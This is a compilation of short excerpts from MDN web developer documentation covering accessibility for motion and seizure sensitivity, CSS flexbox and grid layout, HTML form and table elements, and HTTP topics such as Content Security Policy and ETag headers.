This article discusses making web content accessible for those with vestibular disorders, and those who support them, by taking advantage of personalization and accessibility settings built into the operating systems. Taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions. Personalization and accessibility settings From the article, "Understanding Success Criterion 2.3.1: Three Flashes or Below Threshold" "Flashing can be caused by the display, the computer rendering the image or by the content being rendered. The author has no control of the first two. They can be addressed by the design and speed of the display and computer" Hardware and operating systems on many computers offer control that is not ...
...r color filters to be selected. Grayscale is enabled when the color filters button is toggled "on" See Also Accessibilty Accessibility learning path Web accessibility for seizures and physical reactions Color blindness Discussion: "What is the "grayscale" setting for in accessibility options?" Contributors Many, many thanks to Eric Eggert from Knowbility; for his discussions and huge help on this topic. ...
Web Accessibility: Understanding Colors and Luminance - Accessibility
...
... ...
Operable - Accessibility
m Interactions (AAA) added in 2.1 Allow users to disable animations from interactions (unless the animation is essential). Understanding Animations from Interactions Note: Also see the WCAG description for Guideline 2.3 Seizures and Physical Reactions: Do not design content in a way that is known to cause seizures or physical reactions. Guideline 2.4 -- Navigable: Provide ways to help users navigate, find content, and determine where they are The conformance criteria under this guideline relate to ways in which users can be expected to orientate themselves, and find the content and functionality they are looking for on the current page or other pages of the site. Success criteria How to conform to the criteria Practical resource 2.4.1 Bypass block...
...reak up content areas into logical sections. Note that this criterion refers to headings and titles in general web content (e.g. headings within text content). Headings and titles for user interfaces are a special case covered in criterion 4.1.2. See The basics of headings and paragraphs. Note: Also see the WCAG description for Guideline 2.4 Navigable: Provide ways to help users navigate, find content, and determine where they are. Guideline 2.5 Input Modalities: Make it easier for users to operate functionality through various inputs beyond keyboard. The conformance criteria under this guideline ensures that users are able to interact with digital technology using different input methods beyond a keyboard or mouse (including touchscreen, voice, device motion, o...
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
has a number of bugs in the implementation. Common issues The majority of issues with flexbox relate to the changes in the specification, as it has been developed, and the fact that many of us were attempting to use an experimental specification in production. If you are trying to ensure backwards compatibility with old versions of browsers, and in particular IE10 and 11, the Flexbugs site is a helpful resource. You will see that many of the listed bugs apply to old browser versions and are fixed in current browsers. Each of the bugs has a workaround listed -- which can save you many hours of puzzling. If you want to include very old browsers with flexbox support then you can include the vendor prefixes in your CSS in addition to the unprefixed version. This is becoming less and less of a r...
... ...
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
set. This would be the case if you had given your item a width of 200 pixels. In that case 200px would be the flex-basis for this item. If your item is instead auto-sized, then auto resolves to the size of its content. At this point your knowledge of min- and max-content sizing becomes useful, as flexbox will take the max-content size of the item as the flex-basis. The following live example can help to demonstrate this. In this example I have created a series of inflexible boxes, with both flex-grow and flex-shrink set to 0. Here we can see how the first item -- which has an explicit width of 150 pixels set as the main size -- takes a flex-basis of 150px, whereas the other two items have no width and so are sized according to their content width. In addition to the auto keyword, you can ...
...able results. You don't usually want your content to disappear completely or for boxes to get smaller than their minimum content, so the above rules make sense in terms of sensible behaviour for content that needs to be shrunk in order to fit into a container. Giving items different flex-shrink factors In the same way as flex-grow, you can give flex-items different flex-shrink factors. This can help change the default behaviour if, for example, you want an item to shrink more or less rapidly than its siblings or not shrink at all. In the following live example the first item has a flex-shrink factor of 1, the second 0 (so it won't shrink at all), and the third 4. The third item therefore shrinks more rapidly than the first. Play around with the different values -- as for flex-grow you can u...
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
r those who want to mess around with flexbox using the native support of current browsers. This set uses: Fallbacks using 2009 'box' syntax (FF and Older WebKit) and prefixed syntaxes (IE10, WebKit browsers without flex wrapping) Final standards syntax (FF, Safari, Chrome, IE11+, Edge, Opera) This was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ With help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ A Complete Guide to Flexbox | CSS-Tricks Visual Guide to CSS3 Flexbox: Flexbox Playground | Note: Mixins are not currently supported natively in browsers. Instead, you will need to use a CSS pre-processor to make ...
... { $fg-boxflex: nth($fg, 1); } -webkit-box: $fg-boxflex; -moz-box: $fg-boxflex; -webkit-flex: $fg $fs $fb; -ms-flex: $fg $fs $fb; flex: $fg $fs $fb; } Flexbox justify content The justify-content property aligns flex items along the main axis of the current line of the flex container. This is done after any flexible lengths and any auto margins have been resolved. Typically, it helps to distribute extra free space leftover when either all the flex items on a line are inflexible, or are flexible but have reached their maximum size. It also exerts some control over the alignment of items when they overflow the line. Note: space-* values not supported in older syntaxes. Values: flex-start (default) | flex-end | center | space-between | space-around Spec: https://drafts.c...
Basic Concepts of grid layout - CSS: Cascading Style Sheets
we can control how the items align once placed into a grid area, and how the entire grid is aligned. Control of overlapping content More than one item can be placed into a grid cell or area and, they can partially overlap each other. This layering may then be controlled with the z-index property. Grid is a powerful specification that, when combined with other parts of CSS such as flexbox, can help you create layouts that were previously impossible to build in CSS. It all starts by creating a grid in your grid container. The Grid container We create a grid container by declaring display: grid or display: inline-grid on an element. As soon as we do this, all direct children of that element become grid items. In this example, I have a containing div with a class of wrapper and, inside are ...
...umns: 200px 200px 200px; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } The fr Unit Tracks can be defined using any length unit. Grid also introduces an additional length unit to help us create flexible grid tracks. The new fr unit represents a fraction of the available space in the grid container. The next grid definition would create three equal width tracks that grow and shrink according to the available space. <div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> <div>Four</div> <div>Five</div> </div> .wrapper { display: grid; grid-template...
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
eate the layout we desired. Sites such as the CSS Zen Garden showcased this ability. The CSS Zen Garden challenged us to take identical markup and create a unique design using CSS. CSS Grid Layout does not have the same issues that tables did, our grid structure is defined in CSS rather than in the mark-up. If we need to add an element we can use something with no semantic meaning. On paper grid helps us properly fulfill that promise of content separated from mark-up, however is it possible to go too far with this idea? Is it possible that we could create an accessibility issue through our use of grids? Re-ordering content in CSS Grid Layout We've already seen in these guides that grid gives us power to re-order the content of our page in various ways. We can use the order property, which w...
... with flex-direction and the order property. The concept of visual display following document source order is detailed in the WCAG Techniques for Success Criteria - Technique C27. As a way to start thinking about these issues, as you use CSS Grid Layout I would suggest reading Flexbox & the Keyboard Navigation Disconnect from Leonie Watson. Also the video of Leonie's presentation from ffconf is helpful to understand more about how screen readers work with the visual representation of things in CSS. Adrian Roselli has also posted regarding tab order in various browsers - although this was prior to grid support being fully implemented in Firefox. ...
Layout using named grid lines - CSS: Cascading Style Sheets
class="content">Content</div> <div class="footer">Footer</div> <div class="overlay">Overlay</div> </div> Given that we have this ability to position create lines from named areas and areas from named lines it is worth taking a little bit of time to plan your naming strategy when starting out creating your grid layout. By selecting names that will make sense to you and your team you will help everyone to use the layouts you create more easily. Multiple lines with the same name with repeat() If you want to give all of the lines in your grid a unique name then you will need to write out the track definition long-hand rather than using the repeat syntax, as you need to add the name in square brackets while defining the tracks. If you do use the repeat syntax you will end up with multip...
...>I am the footer</footer> </div> I could then place this on my grid layout framework like this. .main-header, .main-footer { grid-column: col-start / span 12; } .side1 { grid-column: col-start / span 3; grid-row: 2; } .content { grid-column: col-start 4 / span 6; grid-row: 2; } .side2 { grid-column: col-start 10 / span 3; grid-row: 2; } Once again, the grid highlighter is helpful to show us how the grid we have placed our items on works. That's all I need. I don't need to do any calculations, grid automatically removed my 10 pixel gutter track before assigning the space to the 1fr column tracks. As you start to build out your own layouts, you will find that the syntax becomes more familiar and you choose the ways that work best for you and the type of projects you ...
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
Basics of Scroll Snap The key properties of the Scroll Snap specification are scroll-snap-type and scroll-snap-align. The scroll-snap-type property is used on the scroll container to state the type and direction of scrolling. The scroll-snap-align property must be used on child elements in order to set the position that scrolling will snap to. ...
...adding on the parent. Try this in the example below. The scroll-snap-stop property The scroll-snap-stop property tells the browser whether it should snap to each defined snap point -- meaning that in our examples above we would stop at the start of each section -- or be able to skip past sections. This property has fewer browser implementations than the rest of the specification. It could be helpful in ensuring users see each section of the scroller and don't accidentally zip past them. However it could be problematic in making the scrolling experience slower if the user is looking for a particular section. Note: the scroll-snap-stop property is currently marked at risk in the current Candidate Recommendation spec, therefore it may be removed. ...
Shapes From Images - CSS: Cascading Style Sheets
the same domain as your site should work, however if your images are hosted on a different domain such as on a CDN you should ensure that they are sending the correct headers to enable them to be used for Shapes. Due to this requirement for CORS compatible images, if you are previewing your file locally without using a local web server, your shape will not work. Is it a CORS issue? DevTools can help you to identify CORS errors. In Chrome the Console will alert you to CORS problems. In Firefox if you inspect the property you will be alerted to the fact that the image could not be loaded. This should alert you to the fact that your image cannot be used as the source of a shape due to CORS. Setting a threshold The shape-image-threshold property enables the creation of shapes from areas which ...
...und of the star is not fully transparent, it has a 20% opacity as created in my graphics programme. If I set shape-image-threshold to 0.3 then I see the shape, if I set it to something smaller than 0.2 I do not get the shape. Using images with generated content In the above example I have both used the image as the value of shape-outside and also added it to the page. Many demos do this as it helps to show the shape we are following, however the shape-outside property is not related to the image that is displayed on the page and so you do not need to display an image to use an image to create a shape. You do need something to float, but that could be some generated content as in the below example. I am floating generated content and using a larger star image to shape my content without di...
Breadcrumb Navigation - CSS: Cascading Style Sheets
Requirements The items typically display inline with a separator to indicate a hierarchy between individual pages. Recipe Download this example Note: The example above uses two selectors to insert content before every li except the first one. This could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before { content: "->"; } This solution uses a more complex selector, but requires less rules. Feel free to choose the solution that you prefer. Choices made This pattern is laid out using a simple flex layout demonstrating how a line of CSS can give us our navigation. ...
...tor, but requires less rules. Feel free to choose the solution that you prefer. Choices made This pattern is laid out using a simple flex layout demonstrating how a line of CSS can give us our navigation. The separators are added using CSS Generated Content. You could change these to any separator that you like. Accessibility concerns I have used the aria-label and aria-current attributes to help users understand what this navigation is and where the current page is in the structure. See the related links for more information. ...
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
Reduced Motion Blinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity. Also, this method of switching animation off according to the user's preference can also benefit users with low battery or low-end phones or computers. Syntax no-preference Indicates that the user has made no preference known to the system. ...
...ebkit-animation: vibrate 0.3s linear infinite both; animation: vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { .animation { animation: none; } } High Contrast Mode The -ms-high-contrast CSS media feature is a Microsoft extension that describes whether the application is being displayed in high contrast mode, and with what color variation. This will help not only users with low vision and contrast sensitivity issues but also users that are working on a computer or phone with direct sunlight. Syntax The -ms-high-contrast media feature is specified as one of the following values. Values active Indicates that the subsequent styling rules will be applied when the system is placed in high contrast mode with any color variation. black-on-wh...
cursor - CSS: Cascading Style Sheets
Web › CSS › cursor
ption General auto The UA will determine the cursor to display based on the current context. E.g., equivalent to text when hovering text. default The platform-dependent default cursor. Typically an arrow. none No cursor is rendered. Links & status context-menu A context menu is available. help Help information is available. pointer The cursor is a pointer that indicates a link. Typically an image of a pointing hand. progress The program is busy in the background, but the user can still interact with the interface (in contrast to wait). wait The program is busy, and the user can't interact with the interface (in con...
...e outside the size range supported by the browser will generally just be ignored. Check the Browser compatibility table for any notes on cursor size limits. ...
image() - CSS: Cascading Style Sheets
for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. If the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. MDN Understanding WCAG, Guideline 1.1 explanations Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0 This feature can help improve accessibility by providing a fallback color when an image fails to load. While this can and should be done by including a background-color on every background image, the CSS image() function allows adding allows only including background colors should an image fail to load, which means you can add a fall back color should a transparent PNG/GIF/WebP not load. Examples Directionally-sens...
...ft-to-right. Displaying a section of the background image <div class="box">Hover over me. What cursor do you see?</div> .box:hover { cursor: image("https://mdn.mozillademos.org/files/16411/sprite.png#xywh=32,64,16,16"); } When the user hovers over the box, the cursor will change to display the 16x16 px section of the sprite image, starting at x=32 and y=64. Providing fallback images .help::before { content: image("try.webp", "try.svg", "try.gif"); } In this example, the browser will display an image as generated content before the content of the element with the class of help. The image displayed will be a WebP image, if WebP is supported. If not, the SVG example will be shown. If SVG is not supported, the GIF version will display. Putting color on top of a background imag...
Rich-Text Editing in Mozilla - Developer guides
Internet Explorer: <STRONG>I love geckos.</STRONG> <STRONG><EM><U>Dinosaurs are big.</U></EM></STRONG> Another difference between Mozilla and IE is how to access the document object of an iframe, which is usually used in conjunction with designMode. Mozilla uses the W3C standard way, namely IFrameElement.contentDocument, while IE requires IFrameElement.document. DevEdge provides a JavaScript helper class, xbDesignMode, which is a wrapper for the designMode feature which hides the differences between IE and Mozilla. Event Handling Disabled A further difference for Mozilla is that once a document is switched to designMode, all events on that particular document are disabled. Once designMode is turned off however (as this now seems possible in Mozilla 1.5) the events become active again.
...our editor in your page, please see our more complete rich-text editor example. Resources mozilla.org's rich-text editing Specification mozilla.org's rich-text editing Demo Converting an app using document.designMode from IE to Mozilla at mozilla.org designMode MSDN: How to Create an HTML Editor Application A closed source, cross-browser rich-text editing demo xbDesignMode; a JavaScript helper class for easier cross-browser development using designMode. Firefox 3 and contentEditable Original Document Information Author(s): Doron Rosenberg, Netscape Communications Published: 04 Apr 2003 Revised: 01 Jul 2003 Revised: 24 Apr 2005, Joel Coreson Revised: 28 Nov 2006, Ken Kuhns, ComputronicsUSA Revised: 19 Dec 2007, Mark Finkle ...
Constraint validation - Developer guides
lid and :invalid pseudo-classes are used to represent <input> elements whose content validates and fails to validate respectively according to the input's type setting. These classes allow the user to style valid or invalid form elements to make it easier to identify elements that are either formatted correctly or incorrectly. Controlling the text of constraint violation The following items can help with controlling the text of a constraint violation: element.setCustomValidity(message) method on the following elements: <fieldset>. Note: Setting a custom validity message on fieldset elements will not prevent form submission in most browsers. <input> <output> <select> Submit buttons (created with either a <button> element with the submit type, or an input element with the...
... ...
Introduction to Web development - Developer guides
For another (overlapping) set of links to learning resources, see the MDN Learning pages. Note: The recommended resources on this page are subject to change. Documentation topics HTML The basics of Hypertext Mark-up Langage (HTML) -- what exactly is HTML? Basic structure of a web page -- the doctype and document 'tree' Fundamental HTML elements -- structural, head, list, form elements and more, explained by category. ...
...he level of Gecko/Firefox support for each. The W3C introduction to styling with CSS -- a brief guide to styling web pages for beginners. Common CSS questions -- common questions and answers for beginners Intermediate CSS concepts -- grouping, pseudo-classes and more. JavaScript Beginning Getting started with JavaScript -- what is JavaScript and how can it help you? JavaScript reference guide -- a comprehensive, regularly updated guide to JavaScript for all levels of learning from beginner to advanced. Crockford on JavaScript -- an in-depth video series on the JavaScript language. Eloquent JavaScript -- a comprehensive guide to intermediate and advanced JavaScript methodologies Intermediate A re-introduction to JavaS...
Mobile Web Development - Developer guides
Web › Guide › Mobile
ouch screen you'll need to work with DOM Touch events. You won't be able to use the CSS :hover pseudo-class, and will need to design clickable items like buttons to respect the fact that fingers are fatter than mouse pointers. See this article on designing for touch screens. You can use the pointer or any-pointer media query to load different CSS on a touch-enabled device. Optimizing images To help users whose devices have low or expensive bandwidth, you can optimize images by loading images appropriate to the device screen size and resolution. You do this in CSS by querying for screen height, width, and pixel ratio. You can also make use of CSS properties to implement visual effects like gradients and shadows without images. Mobile APIs Finally, you can take advantage of the new possibi...
...adient() property. If you don't do that, at least make sure that the default background contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your linear-gradient rule. See this list of Gecko-specific properties, and this list of WebKit-specific properties, and Peter Beverloo's table of vendor-specific properties. Using tools like CSS Lint can help find problems like this in code, and preprocessors like SASS and LESS can help you to produce cross-browser code. Take care with user agent sniffing It's preferable for web sites to detect specific device features such as screen size and touch screens using the techniques listed above, and adapt themselves accordingly. But sometimes this is impractical, and web sites resort to parsing the brows...
<a>: The Anchor element - HTML: Hypertext Markup Language
Web › HTML › Element › a
and, or mouth sticks/head wands, where the act of moving through repetitive links can be laborious. WebAIM: "Skip Navigation" Links How-to: Use Skip Navigation links MDN / Understanding WCAG, Guideline 2.4 explanations Understanding Success Criterion 2.4.1 Size and proximity Size Interactive elements, like links, should provide an area large enough that it is easy to activate them. This helps a variety of people, including those with motor control issues and those using imprecise inputs such as a touchscreen. A minimum size of 44x44 CSS pixels is recommended. Text-only links in prose content are exempt from this requirement, but it's still a good idea to make sure enough text is hyperlinked to be easily activated. Understanding Success Criterion 2.5.5: Target Size Target Size an...
...mended. Text-only links in prose content are exempt from this requirement, but it's still a good idea to make sure enough text is hyperlinked to be easily activated. Understanding Success Criterion 2.5.5: Target Size Target Size and 2.5.5 Quick test: Large touch targets Proximity Interactive elements, like links, placed in close visual proximity should have space separating them. Spacing helps people with motor control issues, who may otherwise accidentally activate the wrong interactive content. Spacing may be created using CSS properties like margin. Hand tremors and the giant-button-problem Specifications Specification Status Comment Referrer PolicyThe definition of 'referrer attribute' in that specification. Candidate Recommendation Added t...
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
Web › HTML › Element › canvas
canvas.getContext('2d', { alpha: false }) instead. width The width of the coordinate space in CSS pixels. Defaults to 300. Usage notes Alternative content You may (and should) provide alternate content inside the <canvas> block. That content will be rendered both on older browsers that don't support canvas and in browsers with JavaScript disabled. Providing a useful fallback text or sub DOM helps to make the the canvas more accessible. Required </canvas> tag Unlike the <img> element, the <canvas> element requires the closing tag (</canvas>). Sizing the canvas using CSS versus HTML The displayed size of the canvas can be changed using CSS, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted.
...2d'); ctx.fillStyle = 'green'; ctx.fillRect(10, 10, 100, 100); Result Accessibility concerns Alternative content The <canvas> element on its own is just a bitmap and does not provide information about any drawn objects. Canvas content is not exposed to accessibility tools as semantic HTML is. In general, you should avoid using canvas in an accessible website or app. The following guides can help to make it more accessible. MDN Hit regions and accessability Canvas accessibility use cases Canvas element accessibility issues HTML5 Canvas Accessibility in Firefox 13 - by Steve Faulkner Best practices for interactive canvas elements Specifications Specification Status Comment HTML Living StandardThe definition of '<canvas>' in that specification. Livin...
<input type="radio"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › radio
rm contact=value. For example, if the user clicks on the "Phone" radio button then submits the form, the form's data will include the line contact=phone. If you omit the value attribute in the HTML, the submitted form data assigns the value on to the group. In this scenario, if the user clicked on the "Phone" option and submitted the form, the resulting form data would be contact=on, which isn't helpful. So don't forget to set your value attributes! Note: If no radio button is selected when the form is submitted, the radio group is not included in the submitted form data at all, since there is no value to report. It's fairly uncommon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the che...
... The CSS involved is a bit more significant: html { font-family: sans-serif; } div:first-of-type { display: flex; align-items: flex-start; margin-bottom: 5px; } label { margin-right: 15px; line-height: 32px; } input { -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 50%; width: 16p...
<input type="search"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › search
set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute. spellcheck Non-standard attributes The following non-standard attributes are available to search input fields. As a general rule, you should avoid using them unless it can't be helped. Attribute Description autocorrect Whether or not to allow autocorrect while editing this input field. Safari only. incremental Whether or not to send repeated search events to allow updating live search results while the user is still editing the value of the field. WebKit and Blink only (Safari, Chrome, Opera, etc.). mozactionhint A string ...
...ing to note is that some browsers show a cross icon that can be clicked on to remove the search term instantly if desired. The following screenshot comes from Chrome: In addition, modern browsers also tend to automatically store search terms previously entered across domains, which then come up as autocomplete options when subsequent searches are performed in search inputs on that domain. This helps users who tend to do searches on the same or similar search queries over time. This screenshot is from Firefox: At this point, let's look at some useful techniques you can apply to your search forms. Setting placeholders You can provide a useful placeholder inside your search input that could give a hint on what to do using the placeholder attribute. Look at the following example: <form> <...
<input type="tel"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › tel
not set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute. Non-standard attributes The following non-standard attributes are available to telephone number input fields. As a general rule, you should avoid using them unless it can't be helped. Attribute Description autocorrect Whether or not to allow autocorrect while editing this input field. Safari only. mozactionhint A string indicating the type of action that will be taken when the user presses the Enter or Return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. Firefox for An...
...ari/Chrome/Firefox) A simple tel input In its most basic form, a tel input can be implemented like this: <label for="telNo">Phone number:</label> <input id="telNo" name="telNo" type="tel"> There is nothing magical going on here. When submitted to the server, the above input's data would be represented as, for example, telNo=+12125553151. Placeholders Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each <input>. This is where placeholders come in. A placeholder is a value that demonstrates the form the value should take by presenting an example of a valid value, which is displayed inside the edit box when the element's value is "...
<input type="text"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › text
if it doesn't have the readonly attribute set and is not disabled. The value returned by reading spellcheck may not reflect the actual state of spell checking within a control, if the user agent's preferences override the setting. Non-standard attributes The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped. Attribute Description autocorrect A string indicating whether or not autocorrect is on or off. Safari only. mozactionhint A string indicating the type of action that will be taken when the user presses the Enter or Return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. Firefox for Android o...
... for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database. A note on styling There are useful pseudo-classes available for styling form elements to help the user see when their values are valid or invalid. These are :valid and :invalid. In this section, we'll use the following CSS, which will place a check (tick) mark next to inputs containing valid values, and a cross (X) next to inputs containing invalid values. div { margin-bottom: 10px; position: relative; } input + span { padding-right: 30px; } input:invalid+span:after { position:...
<tr>: The Table Row element - HTML: Hypertext Markup Language
Web › HTML › Element › tr
ance" headers occupy two rows instead of just one, and the use of colspan to make the "Membership Dates" header cell span across two columns. The CSS is unchanged from before. table { border: 1px solid black; } th, td { border: 1px solid black; } Explicitly specifying table content groups Before really getting into styling this table, let's take a moment to add row and column groups to help make our CSS easier. HTML The HTML is where the action is here, and the action is pretty simple. <table> <thead> <tr> <th rowspan="2">Name</th> <th rowspan="2">ID</th> <th colspan="2">Membership Dates</th> <th rowspan="2">Balance</th> </tr> <tr> <th>Joined</th> <th>Canceled</th> </tr> </thead> <tbody> <tr> <th scope="row">Marg...
...1) { background-color: rgb(225, 255, 225); } thead > tr:last-of-type > th:nth-of-type(2) { background-color: rgb(255, 225, 225); } Here we dig into the last row of the table's header block and give the first header cell in it (the "Joined" header) a greenish color, and the second header cell in it (the "Canceled" header) a reddish hue. Color every body other row differently It's common to help improve readability of table data by alternating row colors. Let's add a bit of color to every even row: tbody > tr:nth-of-type(even) { background-color: rgb(237, 238, 242); } Give the left-side header some style Since we want the first column to stand out as well, we'll add some custom styling here, too. tbody > tr > th:first-of-type { text-align: left; background-color: rgb(225, 229, ...
HTML documentation index - HTML: Hypertext Markup Language
Web › HTML › Index
the ways CSS color can be used in HTML. 4 Block-level elements Beginner, Development, Guide, HTML, HTML5, Web HTML (Hypertext Markup Language) elements historically were categorized as either "block-level" elements or "inline-level" elements. By default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block." This article helps to explain what this means. 5 DASH Adaptive Streaming for HTML 5 Video Guide, HTML, HTML5 Dynamic Adaptive Streaming over HTTP (DASH) is an adaptive streaming protocol. 6 Date and time formats used in HTML Date, Element, Format, HTML, ISO 8601, Input, Reference, String, Time, Week, datetime, datetime-local, del, ins, month, month-year, week-year Certain ...
...of name-value pairs that are associated with the element. 25 itemtype Attribute, Global attribute, HTML, HTML Microdata, Microdata, Reference The global attribute itemtype specifies the URL of the vocabulary that will be used to define itemprop's (item properties) in the data structure. 26 lang Global attributes, HTML, Reference The lang global attribute helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user. The attribute contains a single "language tag" in the format defined in Tags for Identifying Languages (BCP47). 27 part Global attributes, HTML, Reference, part The part global attribute contains a space-separ...
Evolution of HTTP - HTTP
ning of the response, allowing the browser itself to understand the success or failure of the request and to adapt its behavior in consequence (like in updating or using its local cache in a specific way) The notion of HTTP headers has been introduced, both for the requests and the responses, allowing metadata to be transmitted and making the protocol extremely flexible and extensible. With the help of the new HTTP headers, the ability to transmit other documents than plain HTML files has been added (thanks to the Content-Type header). At this point, a typical request and response looked like this: GET /mypage.html HTTP/1.0 User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) 200 OK Date: Tue, 15 Nov 1994 08:12:31 GMT Server: CERN/3.0 libwww/2.17 Content-Type: text/html <HTML> A page with an image ...
... 2016: Support of Alt-Svc allows the dissociation of the identification and the location of a given resource, allowing for a smarter CDN caching mechanism. The introduction of Client-Hints allows the browser, or client, to proactively communicate information about its requirements, or hardware constraints, to the server. The introduction of security-related prefixes in the Cookie header, now helps guarantee a secure cookie has not been altered. This evolution of HTTP proves its extensibility and simplicity, liberating creation of many applications and compelling the adoption of the protocol. The environment in which HTTP is used today is quite different from that seen in the early 1990s. HTTP's original design proved to be a masterpiece, allowing the Web to evolve over a quarter of a ce...
Identifying resources on the Web - HTTP
, for security reasons. ...
...reasons. FTP is still acceptable at the top level (such as typed directly into the browser's URL bar, or the target of a link), although some browsers may delegate loading FTP content to another application. ...
Browser detection using the user agent - HTTP
e some cases in which this is necessary. In these cases, you should first analyze your situation to be sure it's really necessary. Can you prevent it by adding some non-semantic <div> or <span> elements? The difficulty of successfully using user agent detection is worth a few disruptions to the purity of your HTML. Also, rethink your design: can you use progressive enhancement or fluid layouts to help remove the need to do this? Avoiding user agent detection If you want to avoid using user agent detection, you have options! Feature detection Feature detection is where you don't try to figure out which browser is rendering your page, but instead, you check to see if the specific feature you need is available. If it's not, you use a fallback. In those rare cases where behavior differs bet...
...ch puts the version number right after the MSIE token), and for Opera after version 10, which has added a Version/VersionNumber token. Here again, be sure to take the right token for the browser you are looking for, as there is no guarantee that others will contain a valid number. Rendering engine As seen earlier, in most cases, looking for the rendering engine is a better way to go. This will help to not exclude lesser known browsers. Browsers sharing a common rendering engine will display a page in the same way: it is often a fair assumption that what will work in one will work in the other. There are five major rendering engines: Trident, Gecko, Presto, Blink, and WebKit. As sniffing the rendering engines names is common, a lot of user agents added other rendering names to trigger detec...
Content Security Policy (CSP) - HTTP
Web › HTTP › CSP
These attacks are used for everything from data theft to site defacement to distribution of malware. CSP is designed to be fully backward compatible (except CSP version 2 where there are some explicitly-mentioned inconsistencies in backward compatibility; more details here section 1.1). Browsers that don't support it still work with servers that implement it, and vice-versa: browsers that don't support CSP simply ignore it, functioning as usual, defaulting to the standard same-origin policy for web content. ...
...el. Using CSP Configuring Content Security Policy involves adding the Content-Security-Policy HTTP header to a web page and giving it values to control what resources the user agent is allowed to load for that page. For example, a page that uploads and displays images could allow images from anywhere, but restrict a form action to a specific endpoint. A properly designed Content Security Policy helps protect a page against a cross site scripting attack. This article explains how to construct such headers properly, and provides examples. Specifying your policy You can use the Content-Security-Policy HTTP header to specify your policy, like this: Content-Security-Policy: policy The policy is a string containing the policy directives describing your Content Security Policy. Writing a polic...
Configuring servers for Ogg media - HTTP
onfiguration for this. For Apache, you can add the following to your configuration: AddType audio/ogg .oga AddType video/ogg .ogv AddType application/ogg .ogg You can find specific information about possible media file types and the codecs used within them in our comprehensive guide to media types and formats on the web. In particular, the article on media container formats will be especially helpful when configuring serers to host media properly. Handle HTTP 1.1 byte range requests correctly In order to support seeking and playing back regions of the media that aren't yet downloaded, Gecko uses HTTP 1.1 byte-range requests to retrieve the media from the seek target position. In addition, Gecko uses byte-range requests to seek to the end of the media (assuming you serve the Content-Lengt...
...ts. Your server must also return 206: Partial Content for the request Range: bytes=0- as well. Include regular key frames When the browser seeks through Ogg media to a specified time, it has to seek to the nearest key frame before the seek target, then download and decode the video from there until the requested target time. The farther apart your key frames are, the longer this takes, so it's helpful to include key frames at regular intervals. By default, ffmpeg2theora uses one key frame every 64 frames (or about every 2 seconds at 30 frames per second), which works pretty well. Note: Of course, the more key frames you use, the larger your video file is, so you may need to experiment a bit to get the right balance between file size and seek performance. Consider using the preload attrib...
ETag - HTTP
Web › HTTP › Headers › ETag
If the resource at a given URL changes, a new Etag value must be generated. A comparison of them can determine whether two representations of a resource are the same. ...
...n double quotes, like "675af34563dc-tr34". The method by which ETag values are generated is not specified. Often, a hash of the content, a hash of the last modification timestamp, or just a revision number is used. For example, MDN uses a hexadecimal hash of the wiki article content. Examples ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" ETag: W/"0815" Avoiding mid-air collisions With the help of the ETag and the If-Match headers, you can detect mid-air edit collisions. For example, when editing MDN, the current wiki content is hashed and put into an Etag in the response: ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" When saving changes to a wiki page (posting data), the POST request will contain the If-Match header containing the ETag values to check freshness against. If-Match...
Index - HTTP
Web › HTTP › Headers › Index
tes where in a full body message a partial message belongs. 28 Content-Security-Policy CSP, HTTP, Reference, Security, header The HTTP Content-Security-Policy response header allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks (XSS). 29 CSP: base-uri CSP, Directive, Document directive, HTTP, Security The HTTP Content-Security-Policy base-uri directive restricts the URLs which can be used in a document's <base> element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the <base> element. ...
